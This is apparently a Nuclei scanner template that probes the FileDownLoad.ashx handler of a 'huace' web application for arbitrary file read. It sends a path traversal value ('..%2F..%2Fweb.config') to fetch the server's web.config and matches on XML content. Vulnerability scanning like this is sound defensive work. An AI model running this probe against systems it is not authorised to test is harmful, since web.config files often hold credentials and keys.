huace-FileDownLoad-fileRead.yaml

id: huace-FileDownLoad-fileRead

info:
  name: huace-FileDownLoad-fileRead
  author: Co5mos
  severity: critical

http:
  - method: POST
    path:
      - "{{BaseURL}}/Handler/FileDownLoad.ashx"
    
    body: "filename=1&filepath=..%2F..%2Fweb.config"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        regex:
          - "<?xml"
          - "<add key="

      - type: status
        status:
          - 200